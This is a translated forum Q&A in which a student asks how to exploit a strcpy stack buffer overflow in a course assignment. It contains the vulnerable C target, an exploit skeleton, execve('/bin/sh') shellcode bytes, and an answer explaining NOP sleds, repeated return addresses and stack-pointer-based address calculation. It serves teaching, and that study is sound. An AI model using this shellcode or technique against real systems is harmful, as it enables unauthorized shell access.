2010-10-05 18 views
5

Sto cercando di capire questo problema per una delle mie classi comp sci, ho utilizzato tutte le risorse e ho ancora problemi, se qualcuno potesse fornire qualche intuizione, lo apprezzerei molto.Programma di sfruttamento del buffer overflow intenzionale

Ho questo "target" Ho bisogno di eseguire un execve ("/ bin/sh") con l'exploit buffer overflow. Nell'overflow di buf [128], quando si esegue il comando strcpy non sicuro, viene visualizzato un puntatore nel buffer nel punto in cui il sistema si aspetta di trovare l'indirizzo di ritorno.

target.c

int bar(char *arg, char *out) 
{ 
strcpy(out,arg); 
return 0; 
} 

int foo(char *argv[]) 
{ 
char buf[128]; 
bar(argv[1], buf); 
} 

int main(int argc, char *argv[]) 
{ 
if (argc != 2) 
{ 
    fprintf(stderr, "target: argc != 2"); 
    exit(EXIT_FAILURE); 
} 
foo(argv); 
return 0; 
} 

exploit.c

#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char *args[3]; 
    char *env[1]; 

    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; 
    env[0] = NULL; 

    if (0 > execve(TARGET, args, env)) 
    fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

shellcode.h

static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

comprendo devo occupare argv [1] con oltre 128 byte, il i byte superiori a 128 sono l'indirizzo di ritorno, che dovrebbe essere indirizzato al buffer in modo che esegua/bin/sh all'interno. È così corretto finora? Qualcuno può fornire il prossimo passo?

Grazie mille per qualsiasi aiuto.

+2

Un overflow dello stack e un overflow del buffer sono due cose completamente diverse. – BoltClock

+0

Questo dipende in gran parte dal tuo sistema (compilatore, CPU, ecc.) E non ti sei preso la briga di specificarlo. –

+0

Non ho potuto fare a meno di notare che il tuo codice shell è una copia esatta di quello trovato [qui] (http://insecure.org/stf/smashstack.html). Dovresti probabilmente leggere questo articolo e capire cosa sta succedendo in modo da poter implementare il tuo. Il plagio all'università è roba seria. – Paul

risposta

5

Bene, quindi si desidera che il programma esegua lo shellcode. È già in forma di macchina, quindi è pronto per essere eseguito dal sistema. Lo hai memorizzato in un buffer. Quindi, la domanda sarebbe "come fa il sistema a eseguire il mio codice?" Più precisamente, "Come fa il sistema a sapere dove cercare il prossimo codice da eseguire?" La risposta in questo caso è l'indirizzo di ritorno di cui stai parlando.

Fondamentalmente, siete sulla strada giusta. Hai provato a eseguire il codice? Una cosa che ho notato durante l'esecuzione di questo tipo di exploit è che non è una scienza esatta. A volte, ci sono altre cose in memoria che non ci si aspetta di essere lì, quindi è necessario aumentare il numero di byte che si aggiungono nel buffer per allineare correttamente l'indirizzo di ritorno con quello in cui il sistema si aspetta che sia.

Non sono uno specialista in sicurezza, ma posso dirvi alcune cose che potrebbero essere d'aiuto. Uno è che di solito includo un 'NOP Sled' - essenzialmente solo una serie di 0x90 byte che non fanno altro che eseguire istruzioni 'NOP' sul processore. Un altro trucco consiste nel ripetere l'indirizzo di ritorno alla fine del buffer, in modo che se anche uno di essi sovrascrive l'indirizzo di ritorno nello stack, si avrà un ritorno corretto dove si desidera.

Quindi, il buffer sarà simile a questa:

| NOP SLED | SHELLCODE | INDIRIZZO DEL RESO RIPETUTO |

(Nota: queste non sono le mie idee, le ho prese da Hacking: The Art of Exploitation, di Jon Erickson. Raccomando questo libro se sei interessato a saperne di più su questo).

Per calcolare l'indirizzo, è possibile utilizzare qualcosa di simile al seguente:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer 

int main(int argc, char *argv[]) 
{ 
    int i, offset; 
    long esp, ret, *addr_ptr; 
    char* buffer; 

    offset = 0; 
    esp = sp(); 
    ret = esp - offset; 
} 

Ora, ret terrà l'indirizzo di ritorno che si desidera tornare, partendo dal presupposto che si alloca buffer da sul mucchio.

+0

Molto ben spiegato, grazie mille per aver dedicato del tempo per aiutare. – CRO

+0

Ero uno studente CSCI una volta. So che imparare l'overflow del buffer è difficile - in realtà ho dovuto ottenere un aiuto simile quando ho seguito il mio primo corso di laurea in architettura informatica. :) Spero solo di poterti aiutare. – jwir3

+0

Anche se il libro di Jon Erickson è davvero carino, consiglierei "Il manuale di Shellcoders". IMHO è più avanzato, presume che tu sappia già alcuni elementi (asm, C, dettagli OS ..) – jyz

Problemi correlati